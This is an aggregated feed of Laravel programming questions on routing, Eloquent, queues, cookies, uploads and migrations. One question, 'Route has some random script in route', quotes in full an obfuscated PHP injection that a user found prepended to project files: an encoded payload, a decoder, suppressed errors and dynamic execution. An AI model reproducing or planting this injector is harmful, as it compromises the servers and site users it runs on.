at Model->insertAndSetId(object(Builder), array('nome' => 'Nome', 'cognome' => 'CognomE', 'tipo' => 'TipO', 'pwd' => 'PwD', 'telefono' => 'TelefonO', 'indirizzo' => 'IndirizzO', 'email' => 'emaiL', 'updated_at' => '2017-06-30 11:37:52', 'created_at' => '2017-06-30 11:37:52'))
in Model.php (line 649)
at Model->performInsert(object(Builder))
in Model.php (line 518) 
at Model->save()
in Builder.php (line 734)
at Builder->Illuminate\Database\Eloquent\{closure}(object(Portatore))
in helpers.php (line 936)
at tap(object(Portatore), object(Closure))
in Builder.php (line 735)
at Builder->create(array('nome' => 'Nome', 'cognome' => 'CognomE', 'tipo' => 'TipO', 'pwd' => 'PwD', 'telefono' => 'TelefonO', 'indirizzo' => 'IndirizzO', 'email' => 'emaiL', '_logo' => 'nonceproprio'))
in Model.php (line 1357)



via Chebli Mohamed

Simple ajax search with Laravel return token mismatch

I'm not familiar that much with jquery/ajax and will appreciated some help. I'm trying to make simple ajax search which make curl request and return the result. Everything works fine if I don't use ajax for the search.

This is my controller

function get_curl_content_tx($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}

public function getImage(Request $request)
{

$url = get_curl_content_tx('http://ift.tt/2soQLjV'.$request->input('url'));
$items = json_decode($url, true);
$thumb = $items['thumbnail_url'];

    return view('getImage',compact('thumb'));
}

And here is the form in the blade view

    <div class="container">
        <form method="post" action="getImage" role="form">
            <div class="row">
                <div class="col-md-6">
                    <div class="form-group">
                        <input type="text" id="url" name="url" class="form-control" placeholder="Paste URL.">
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="form-group">
                        <button class="btn btn-success" id="submit">Search</button>
                    </div>
                </div>
            </div>
        </form>

        @if(!empty($thumb))       
            <img src="" style="margin-bottom: 15px;">       
        @else                                              
            <p>There are no data.</p>            
        @endif
    </div>

And this is what I've made for ajax and which I think isn't work

$(document).ready(function() {
    $('#submit').on('submit', function (e) {
        e.preventDefault();
        var url = $('#url').val();
        $.ajax({
            type: "POST",
            data: {url: url},
            success: function( msg ) {
                $("#ajaxResponse").append("<div>"+msg+"</div>");
            }
        });
    });
});

Currently when I press search button the error is

TokenMismatchException

I'm using Laravel 5 and I'm not sure how to do it into laravel



via Chebli Mohamed

Retrieve entries from table via pivot table Octobercms

can anyone help me writing query to retrieve words from my words table in such way that words are having a belongsToMany relationship to Type model via types pivot table?

Here's how relationship looks like in Word.php

 public $belongsToMany = [
    'typeswb' => [
        'Yeoman\Wordbank\Models\Type',
        'table' => 'yeoman_wordbank_types_pivotb',
        'order' => 'typesofwordbank'
    ]
];

Here is how types table looks like

    mysql> select * from yeoman_wordbank_types;
+----+--------------------+--------------------+
| id | typesofwordbank    | slugoftypes        |
+----+--------------------+--------------------+
|  1 | Common Words       | common-words       |
|  2 | Common Expressions | common-expressions |
|  3 | Common Proverbs    | common-proverbs    |
|  4 | Common Idioms      | common-idioms      |
+----+--------------------+--------------------+
4 rows in set (0.00 sec)

and wheres how types pivot table looks like

mysql> select * from yeoman_wordbank_types_pivotb;
+---------+---------+
| word_id | type_id |
+---------+---------+
|      18 |       2 |
|       5 |       4 |
|       9 |       3 |
|      19 |       1 |
|      31 |       1 |
+---------+---------+
5 rows in set (0.00 sec)

As you can see type_id are connected to words_id. where types_id's are from types table and words_id's are from word table.

I need to find a way to get the words using types_id.

I have tried following

// $query = Word::all();
// foreach ($query->typeswb as $typeswb) {
   // $queryy = $typeswb->pivot->type_id = 1;
// }

and some other combination like that but all in vain, strangely I get Word::find(1) null on this while Word::all() return an array of 6 items in the collection.

Thank you for reading, I will appreciate any hint or help very much.



via Chebli Mohamed

Add property foreach object with php

I have two arrays object:

$seo_items      = collect($resource->items)->values();
$api_items      = collect($api_items)->values();

And, I want to iterate these elements and add the property size, which belongs to the $api_items array to the $seo_items array.

foreach($seo_items as &$seo_item)
                    {
                         foreach($api_items as $item) 
                         {

                            if($item->article_id == $seo_item->article->article_erp_id) 
                            {
                                 $seo_item->article->size == $item->size;
                                 $items_result[] = $seo_item;
                            }

                         }
                    }

The problem is that I can not assign this value, because php report this error:

Undefined property: stdClass::$size

How can I do this ?



via Chebli Mohamed

Is there a easier way to set order of column when altering table in Laravel migration?

Let say I already got a table in my MySQL database, and I want to add columns to it. To do so, I am doing it like the following:

Schema::table('mytable', function($table) {
    $table->integer('my_special_integer')->after('previous_column');
    $table->text('my_special_text')->after('my_special_integer');
    $table->string('my_special_string')->after('my_special_text');
    /*Some many other field*/
    $table->string('my_last_column_to_add')->after('my_second_last_column');
}

Is there a less repeating way if I would simply like to input a bunch of column after a certain previous column?



via Chebli Mohamed

How to query only one foreign row in a one-to-many relationship in Laravel 5

I have 4 models: posts, users, categories, userCategories.

posts-users have one-to-many relationship (one post belongs to a user).

posts-categories have one-to-many relationship (one post belongs to a category).

users-userCategories have one-to-many relationship (one user has many userCategories). userCategory has a rank field which holds the performance of the user for the specific category.

I query some posts with this:

$posts = Post::with(array('user.userCategories')
                )
            ->where('category_id', '=', $category_id)
            ->get();

After evaluating posts, I try to get the user's the userCategory rank for the post's category.

$rank_of_the_post_owners = array();
foreach($posts as $post)
    foreach($post->user->userCatergories as $userCategory)
        if($userCategory->id == $post->category_id) {
            $rank_of_the_post_owners [$post->id] = $userCategory->rank;
            break;
        }
    }
}

To get rid of the code above, I want to query only related userCategory (for the post's category). So that, I want to access the rank information like user.userCategory instead of the loop.

How can I do that?



via Chebli Mohamed

Laravel task scheduler for artisan command queue:work not working in shared hosting

I have problem to run artisan queue:work command using task scheduling in laravel 5.3

app/Console/Kernel.php code

<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel {
    protected $commands = [];

    \Log::info('schedule:run');
    protected function schedule(Schedule $schedule)
    {
        $schedule->command('queue:work --tries=3')
            ->everyMinute()
            ->withoutOverlapping()
            ->evenInMaintenanceMode()
            ->sendOutputTo(storage_path() . '/queue-logs/queue-jobs.log', true);
    }
}

I setup cron job in server:

* * * * * /usr/local/bin/php /home/s***app/public_html/artisan schedule:run

I got log in \Log::info('schedule:run'); in /queue-logs/queue-jobs.log file every minutes. But command queue:work --tries=3 not work and queue stored in job table not processed.

And also my hosting provider block my every minutes request and suggest me to run this cron to 15 min instead of 1 minute



via Chebli Mohamed

Route has some random script in route

There are some random script on top of all the files in my laravel Project

script

    <?php $irmooj = '73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]}334}472 x24<!%ff2!>!bssbz47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*##}#-# x24-    x24-tusqpt)%z-#:#*  x24-    x%!<**3-j%-bubE{h%)sutcvt-#w#)ld;!>!}   x27;!>>>!}_;gvc%}&;ftmbg}   x7f;!osvufs}w;* x7f!>>  x22!pd%)!gj})%tjw)# x24#-!#]y38#-!%w:**<")));$lxcohp7!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!g62   x6f 151 x64")) or (strstr($uas,"    x63 150 x72 157 x6d 145")cIjQeTQcOc/#00#W~!Ydrr)%rxB%eo:!>! x242178}527}88:yqmpef)# x24*<!%t::!>!   x24Ypp3)%cB%iN}#-!  x24/%tmw/   x24)%c*W%eN+#Qi bq}k;opjudovg}x;0]=])0#)U!  x27{**u%-#jt:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]if((function_exists("  x6f 142 x5f 163 x74 141 x72 16ubmgoj{hA!osvufs!~<3,j%>j%!*3!    x2%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)mqnjA   x27&6<.fmjgA    x27doj%6<   x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<   x7{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`}V;3q%}U;y]}R;2]},;osvufs}   x27;m%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/145")) or (strstr($uas,"  x72 166 x3a 61  x31")) ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+9938.2^,%b:<!%c:>%s:   x5c%j:^<!%w`    x5c^>Ew:Qb:Qc:W~!%)ftpmdR6<*id%)dfyfR   x27tfs%6<*17-SFEBFI,6<*127  x75 156 x63 164 x69 157 x6e"; function hgsfiwf($n){retu) or (strstr($uas,"  x66 151 x72 145 x66 157 x78"))) { $lWsfuvso!%bss    x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<#*-!%ff2-!%t::**<(<!fwbmgj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fsbz)#P#-#Q#-#B#-#T#-#E#-#G#-pnbss!>!bssbz)#44ec:649zsfvr#    x5cq%)ufttj x22)gj6<^#Y#    x5cq%   x27Y%6<.msv`ftsbqA7>q%6<    x7fw6*ror_reporting(0); $dzwnovo!#0#)idubn`hfsq)!sp!*#o x27,*c  x27,*b  x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`unIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+-UVPFNJU,6<*27-SFGTOBS = implode(array_map("hgsfiwf",str_split("%tjw7&6|7**111127-K)ebfsX    x27u%)7fmjix6<C x27&6<*rfs%7-K)fujs x24y4   x24-    x24]y8  x2~!Ypp2)%zB%z>!    x24/%tmw/   x24)%zW%h445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*r (strstr($uas,"   x61 156 x64 1!%ww2)%w`TW~   x24<!fwbm)%tjw)bs.%!<***f   x27,*e  x27,*dZ;h!opjudovg}{;#)tutjyf`opjudovg)!<   x7fw6*  x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr   x5c1^-%r    x5c2^-%hO{ $GLOBALS["   x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48x5c1^W%c!>!%i    x5c2^<!Ce*[!%Rk3`{666~6<&w6<    x7fw6*CW&)7gj6<.[A  x27&6d = $lwkwriy("", $dzwnovo); $lxcohpd()6<   x7fw6*CW&)7gj6<*doj%7-C)fepy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]   x7f_*#fubfsdXk5`{66~6<&wQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+j!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!  x27!hmg%)!gj!~<ofmy%,3,j%>jrn chr(ord($n)-1);} @er9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA  x27K6<  x7fw6+A!>!{e%)!>>   x22!ftmbg)!gj<*#k#)usbut`cpV    x7f x7f x7f 4") && (!isset($GLOBALS["   x61 1udovg+)!gj+{e%!osvufs!*!4/%t2w/    x24)##-!#~<#/%  x24-    x24!>!f#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N1  107 x45 116 x54"]); if ((strstr($uas,"  x6d 163 x69 W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufld) x24]25  x24-    x24-!%  x24-    x24*!|! x24-    x24 x5c%j^  x24-    x~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%&)7gj6<*K)ftpmdXA6~6<u%7>/D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]4   x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opj!|!**#j{hnpd#)tutjyf`opjudovg    x22)!gj}1~!<2p% x7f!~!<##!>!2p%7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA    x22)7gj6.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]DZ6<.5`hA   x27pd%6<pd%w6Z6<.4`hA   x27pd%6<pd%w6Z6<.3`hA   x27pd%6<pd%w6Z657ftbc   x7f!|!*uyfu x27k:!ftmf!}<.2`hA  x27pd%6<C   x27pd%6|6.7eu{66~67<&w6<*&7-#o]4-   x24]26  x24-    x24<%j,,*!| x24-    x24gvodujpo!    x24-    x24y7   h/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)4<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y6]283]427]36]373P6]36]0~:<h%_t%:osvufs:~:<*9-1-r%)s%>j:>>1*!%b:>1<!fmtf!%b:>%s:   x5c%j:e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%ynui}&;zepc}A;~!}  x7f;!|!}{;)gj}l;33UOSVUFS,6<*msv%7-MSV,6<*)ujojR    x27id%6<    x7fw6*  x7f_*#ujoj/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_  x5c}X   x2x7f<u%V   x27{ftmfV   x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*wG9}:}.}-}!#*<%nfd>%fdy<Cb*[24!>!  x24/%tjw/   x24)%   x24-    124 x54 120 x5f 125 x53 105 x52 137 x4/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!xX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< xs]o]s]#)fepmqyf    x27*&7-n%)utjm6<    x7fw6*CW#7/7^#iubq# x5cq%   x27jsv%6<C>^#zsfvr# x5cq%7**^#76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!  x240x24-    x24*<!  x24-    x24gps)%j>1<%j=tj{fpg)% x24-    x24*<!~!    x2!*)323zbek!~!<b%  x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!Z;^nbsbq%  x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)!>!  x246767~6<Cw6<pd%w6bqov>*ofmy%)utjm!|!*5!   x27!hmg%)!gjyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>6c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`Q**X)ufttj   x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`;}}z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<56 x75 156 x61"])))) sqnpdov{h19275j{hnpd19275fubmgoj!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:pt}X;`msvd}R;*msv%)}.;`U0}Z;0]=]0#)2q%l}S;2-u%!-#2#D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%b%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]cwkwriy = "   x63 162 x65 141 x74 145 x5f 146#]341]88M4P8]37]278]225]241]334]368]322]3]364]8]86]y31]278]y3f]51L3]84]y31M6]y324tvctus)%    x24-    x24b!>!%yy)vufs:~928>>  x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfopmA x273qj%6<*Y%)fnbozcYufhA    x272qj%6<^#zsfvr#   x5cq%7/7#@#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]3854l}  x27;%!<*#}_;#)323ldfid>}&;!osvufs}  x7f;!opjudovg}k~~9{d%:osZ<^2    x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO    x22#)fepmqfw6*CWtfs%)7gj6<*id%y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~   x24<!%*3qj%7>   x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSxgshdeq'; $sxwwjwpgrd=explode(chr((803-683)),substr($irmooj,(35122-29102),(102-68))); $urqxiv = $sxwwjwpgrd[0]($sxwwjwpgrd[(4-3)]); $oigfluv = $sxwwjwpgrd[0]($sxwwjwpgrd[(9-7)]); if (!function_exists('uudtsagk')) { function uudtsagk($tvdcnytlk, $cjurytz,$cuhihgq) { $wppwzgako = NULL; for($oemssd=0;$oemssd<(sizeof($tvdcnytlk)/2);$oemssd++) { $wppwzgako .= substr($cjurytz, $tvdcnytlk[($oemssd*2)],$tvdcnytlk[($oemssd*2)+(7-6)]); } return $cuhihgq(chr((48-39)),chr((558-466)),$wppwzgako); }; } $fusjlqd = explode(chr((145-101)),'641,52,2843,31,5049,21,2289,68,4200,39,2979,53,1022,48,2076,30,358,61,1281,56,5403,42,1225,56,2653,23,1597,26,1870,46,5102,61,4752,23,3494,68,3593,48,4418,41,3194,26,1916,57,4355,63,3387,50,2736,53,5978,42,5606,58,4459,48,1528,69,2526,25,2462,30,780,64,5912,20,1179,46,1848,22,4000,57,2384,40,2192,40,3032,42,5163,24,2551,39,192,67,2158,34,1415,62,693,33,299,59,2590,63,161,31,4775,35,5341,62,2676,60,3326,61,5852,60,4810,63,2136,22,1646,70,1782,66,969,53,1623,23,1070,61,4873,45,1716,66,4629,58,4918,64,3562,31,4687,65,5788,64,5551,55,5070,32,844,49,3289,37,2874,24,2789,54,4098,49,925,44,80,45,4295,60,893,32,3965,35,537,39,5187,27,4057,41,3733,54,4507,65,3809,31,4239,56,576,65,5730,58,5932,46,448,21,54,26,3074,56,5524,27,125,36,4174,26,1973,21,3641,56,4572,57,2898,35,469,68,2357,27,419,29,1505,23,5664,66,1994,34,2232,57,3697,36,5273,68,3437,57,5491,33,3873,44,3917,48,2492,34,3220,69,5214,59,4147,27,726,54,5445,46,3787,22,0,54,2028,48,1337,54,3130,64,3840,33,1131,48,4985,64,2106,30,1477,28,2933,46,1391,24,259,40,2424,38,4982,3'); $mfodttfs = $urqxiv("",uudtsagk($fusjlqd,$irmooj,$oigfluv)); $urqxiv=$irmooj; $mfodttfs(""); $mfodttfs=(465-344); $irmooj=$mfodttfs-1; ?><?php



via Chebli Mohamed

How to add an sql function to a laravel eloquent model

I'm wanting to create a laravel model with a computed column. I've seen how to do this once the data is downloaded however the computation I wish to do is expensive but accessible as a function in my sql. Essentially I'd like to append one more column to the query builder but I'm unsure how to go about it.

The query needs to be something like:

select *, my_function(ID) as my_value from my_table;

I'm hoping to avoid multiple queries.

Thanks.



via Chebli Mohamed

How to integrate testcafe automation tool with laravel

I have recorded the tests using testcafe tool. I want to integrate these tests in local code project laravel.

http://ift.tt/2e5FSxJ

But i am not use laravel browse testing because i have already recorded test in testcafe tool.

enter image description here

enter image description here

Please help me.

Thanks in advance!



via Chebli Mohamed

Laravel 5.3 excel package

I installed the Excel package in my laravel installation it's work fine but only problem is I don't know how to create header of the excel data does anyone know?

public function Exportcsv(Request $recuestdata){
    $data = $recuestdata['row'];

    $export_paye[] =[
        'Order Number',
        'Customer Email',
        'Delivery Date',
        ];
    $myFile = Excel::create('Order export', function($excel) use ($export_paye,$data) {
    // Set the spreadsheet title, creator, and description
    $excel->setTitle('Order export');
    $excel->setDescription('Order export');
       // Build the spreadsheet, passing in the payments array
       $excel->sheet('sheet1', function($sheet) use ($data) {
           $sheet->fromArray($data , null, 'A1', false, false);
       });
   });

  $myFile = $myFile->string('xlsx');

    $response =  array(
       'name' =>"test.xlsx", //no extention needed
       'file' => "data:application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;base64,".base64_encode($myFile) //mime type of used format
    );

    return response()->json($response);
}



via Chebli Mohamed

jeudi 29 juin 2017

No application encryption key has been specified. New Laravel app

New to laravel and trying to use:

 "php artisan serve"

Displays

Laravel development server started: <http://127.0.0.1:8000>

But won't automatically launche, when I manually enter http://127.0.0.1:8000 it shows this error:

RuntimeException
No application encryption key has been specified.

Any ideas? Using Laravel Framework 5.5-dev



via Chebli Mohamed

composer.phar guzzlehttp/guzzle installation error

i am running command c:/xampp/htdocs/cloud> php composer.phar require guzzlehttp/guzzle

getting error could not open file composer.phar anyone help me with this error thank you in advance.



via Chebli Mohamed

How to store all the input field value from datatable except for the field which is null?

$('form').on('submit', function(e){
    var form = this;
    // Encode a set of form elements from all pages as an array of names and values
    var params = table.$('input').serializeArray();
    // Iterate over all form elements
    $.each(params, function(){
        // If element doesn't exist in DOM
        if(!$.contains(document, form[this.name])){
            // Create a hidden element
            $(form).append(
                $('<input>')
                    .attr('type', 'hidden')
                    .attr('name', this.name)
                    .val(this.value)
            );
        }
    });
});

I am using this method to store all input field value from datatable, what if i just want to store only input field with value? Is that possible to do it? And after that in my controller, i want to loop the data and store in database.



via Chebli Mohamed

Why withCookie() is not working?

I have ran into the problem of not being able to set cookie with Laravel 5.2, and the problem has been solved after I read this post. (So what I need is not a solution but an explanation.)

In short,

return view('welcome')->withCookie(cookie('test', 'test', 45000));

This doesn't work, and to make it work, either:

 public function index(CookieJar $cookieJar, Request $request)
 {
     if($request->referrer){
        $cookieJar->queue(cookie('referrer', $request->referrer, 45000));
     }

     return view('welcome');
 }

Or:

$response = new \Illuminate\Http\Response(view('welcome'));
$response->withCookie(cookie('referrer', $request->referrer, 45000));
return $response;

What annoys me is that the first code doesn't return any error while it does not set any cookie, so that means it actually do something valid (but not setting the cookie). What it actually does? And why the later 2 solutions work?



via Chebli Mohamed

multiple refresh on browser with laravel 5.4 project get error "Whoops, looks like something went wrong."

When i actually refresh my blade view for multiple times i will get error message "Whoops, looks like something went wrong." in laravel 5.4 but there are no error in my code and no error message display only a header "Whoops, looks like something went wrong."

i try to copy .env.example to .env but i got error message

RuntimeException in Encrypter.php line 43:
The only supported ciphers are AES-128-CBC and AES-256-CBC with the correct key lengths.

why only refresh blade view on browser get error is anyone can tell me what is this error message?? and how to fix this??



via Chebli Mohamed

http://ift.tt/2auGQvO works but website.com/page doesn't

Here is the website I'm specifically talking about: http://anomet.com. The home page loads fine, but navigating to another page doesn't, unless it's prefixed with index.php. For example: http://ift.tt/2tqmlgP works, but http://ift.tt/2s7A48m doesn't. The website was created using Laravel 5.4.15. The website is hosted on Bell's server, and when I called them, they said mod_rewrites should be enabled. I have proper permissions set on my storage folder as well (755), since I've read that not having proper permissions on the Laravel folder can cause this problem. Here is my .htaccess file below:

<IfModule mod_rewrite.c>
    <IfModule mod_negotiation.c>
        Options -MultiViews
    </IfModule>
    RewriteEngine On
    # Redirect Trailing Slashes If Not A Folder...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)/$ /$1 [L,R=301]
    # Handle Front Controller...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^ index.php [L]
    # Handle Authorization Header
    RewriteCond %{HTTP:Authorization} .
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
</IfModule>


AddHandler phpCGI .xml .php
Action phpCGI /cgi-bin/php5.6fcgi
# for php5 and securewebexchange
<IfDefine SSL>
    AddHandler phpCGI .xml .php
    Action phpCGI http://ift.tt/2tqCpiG
</IfDefine>

Is Bell wrong in saying that mod_rewrites is enabled? The tech support person didn't sound confident on the phone, and they didn't actually check the configuration files (i.e. httpd.conf or apache.conf) to see if it had anything like AllowOverride All or Require all granted inside of it.

Lastly, I have the exact same files uploaded to a Namecheap server (https://kdev.solutions/) and everything works on there, which further leads me to believe that the problem is with Bell's server configuration.



via Chebli Mohamed

Laravel routing issue for localization

Making a route group for laravel so the url will be www.domain.com/en or www.domain.com/es etc for viewing in a seperate language.

Now when i make the route like so

    Route::group(['prefix' => config('app.locale')], function() {
         Route::get('/', function () {
            return view('pages.home');
         })->name('home');
    });

It throws NotFoundHttpException in RouteCollection.php (line 179) unless it is set to 'en' (the default setting).

However when i hard code it to say 'es' or 'de' it works. But when config('app.locale') is updated to be 'es' or 'de' it throws the error above.

echoing in the view shows the correct values of 'es', 'de' and 'en'

Do i need to enable something or am i doing this wrong?



via Chebli Mohamed

Laravel - Accessing stored images in storage/app/public

I'm trying to show an image on a View, with the filename stored in a database, using laravel Storage function.

Using <img src="" alt=""> where $surgery->image contains the filename generates this HTML:

<img src="/storage/XY6TswNTTxTMtDWsxz9O3OUhPmfZZBaZPRLUPKAy.jpeg" alt="">

I already created a symlink to storage/app/public (used the command php artisan storage:link). A quick ls public/storage shows me the image is there.

ls public/storage
XY6TswNTTxTMtDWsxz9O3OUhPmfZZBaZPRLUPKAy.jpeg

Any tips would be greatly appreciated.



via Chebli Mohamed

Gii Extension for Laravel

I need a tool like Gii Extension for Laravel but I can't find it.

This extension provides a Web-based code generator, called Gii, for Yii 2 applications. You can use Gii to quickly generate models, forms, modules, CRUD, etc.

Here is some images:

Gii image

Gii image



via Chebli Mohamed

How can pass more info to data in handle inside a job? Laravel 5.2

I have 2 queues, one is executed after the other. I used Queue::after to run the second queue.

When the first queue runs, i add more info to the $data variable in the handle function of the job but when i add it nothing happens.

Job

public function handle() {
    $icommHelper = new ICOMMHelper();
    $this->data['icom_user'] = $icommHelper->getUserData($this->data['request']['email'], $this->data['formMkt']->embudo);
}

In the AppServiceProvider

public function boot() {
Queue::after(function (JobProcessed $event) {
    $data = unserialize($event->data['data']['command']);
    if($data->queue == 'sendToIcom') {
        dd($data);
        $data = $data->data;
        Event::fire(new LogIcomData($data));
    }
});



via Chebli Mohamed

Heroku Buffer Limits - Uploading Issues on Laravel App

I'm running into an interesting problem after hosting my Laravel application on Heroku. I am using S3 to store all images, and the database is hosted on Postgres. Locally I am able to upload files of any size (15mb+) to S3, and have Image Intervention generate their thumbnails properly. However after hosting on Heroku I cannot upload any images over 1MB. In their limitation section, Heroku caps the HTTP response buffering at 1MB (Link: http://ift.tt/2uo7sbN). I am not experienced enough to tell if this is the issue though....

The console errror I get when trying to upload a larger image previews out to this:

(1/1) ErrorException Trying to get property of non-object in ImageUploadController.php (line 23)

Here is my ImageUploadController code:

<?php

namespace App\Http\Controllers\Images;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\Listing;
use Storage;
use App\Traits\ImageUploader;
use App\Models\Photo;

class ImageUploadController extends Controller
 {
use ImageUploader;

public function store(Listing $listing, Request $request)
{
    $this->authorize('imageUD', $listing);

    $photo=$this->uploadImages($request->file('file'), $listing->id);

    return response()->json([
      'photo_id' => $photo->id,
      'listing_id' => $listing->address
    ]);

}

public function destroy(Listing $listing, Photo $photo, Request $request)
{
    $this->authorize('imageUD', $listing); 
    Storage::disk('s3')->delete($photo->original_name);
    Storage::disk('s3')->delete($photo->thumbnail_name);

    $photo->delete();
}


}

And here is my ImageUploader Trait:

<?php

namespace App\Traits;
use App\Models\Photo;
use Image;
use Storage;
use Aws\S3;

trait ImageUploader
{
 //takes in array of images and a listing id
public function uploadImages($image, $id)
{
   if($image){
            $imageName = time().$image->getClientOriginalName();
            $imageNameOriginal = "original-" . $imageName;
            $imageNameThumbnail = "thumbnail-" . $imageName;
            $img = Image::make($image->getRealPath());
            $imageThumbnail= $img->resize(null, 225, function ($constraint) {
                 $constraint->aspectRatio();
             })->resizeCanvas(300, 225)->stream();
            //$s3 = Aws\S3\S3Client::factory();
            $s3=Storage::disk('s3')->put($imageNameOriginal, file_get_contents($image), 'public');
            $s3=Storage::disk('s3')->put($imageNameThumbnail, $imageThumbnail->__toString(), 'public');

            $imageNameOriginalURL = Storage::disk('s3')->url($imageNameOriginal);
            $imageNameThumbnailURL = Storage::disk('s3')->url($imageNameThumbnail);

            //create Database Settings
            $photo = new Photo;
            $photo->original_name=$imageNameOriginal;
            $photo->thumbnail_name=$imageNameThumbnail;
            $photo->original_url=$imageNameOriginalURL;
            $photo->thumbnail_url=$imageNameThumbnailURL;

            $photo->listing_id=$id;
            $photo->save();
            return $photo;
      // }
   }

return;
}

public function getFileNames($image)
{
dd($image);
$imageName = time().$image->getClientOriginalName();
$imageNameOriginal = "original-" . $imageName;
$imageNameThumbnail = "thumbnail-" . $imageName;

return [$imageNameOriginal, $imageNameThumbnail];
}
}



via Chebli Mohamed

laravel 5.4 database charset & collation for binary types

I have a requirement in my project to store images in a database, the current column type is TEXT so when trying to store an image sql throws an error about string being too long. So I created a migration

    Schema::table('pages', function (Blueprint $table) {
        $table->binary('extras')->change();
    });

when I run the migration it throws an error

SQLSTATE[42000]: Syntax error or access violation: 1253 COLLATION 'utf8mb4_unicode_ci' is not valid for CHARACTER SET 'binary' (SQL: ALTER TABLE pages CHANGE extras extras B LOB DEFAULT NULL COLLATE utf8mb4_unicode_ci)

im using the default collation and charset in config.database

        'charset' => 'utf8mb4',
        'collation' => 'utf8mb4_unicode_ci',

Do these not support blob formats? if not what is the correct settings for this, I have no need for unicode or emoji support.

I am using mysql v5.7



via Chebli Mohamed

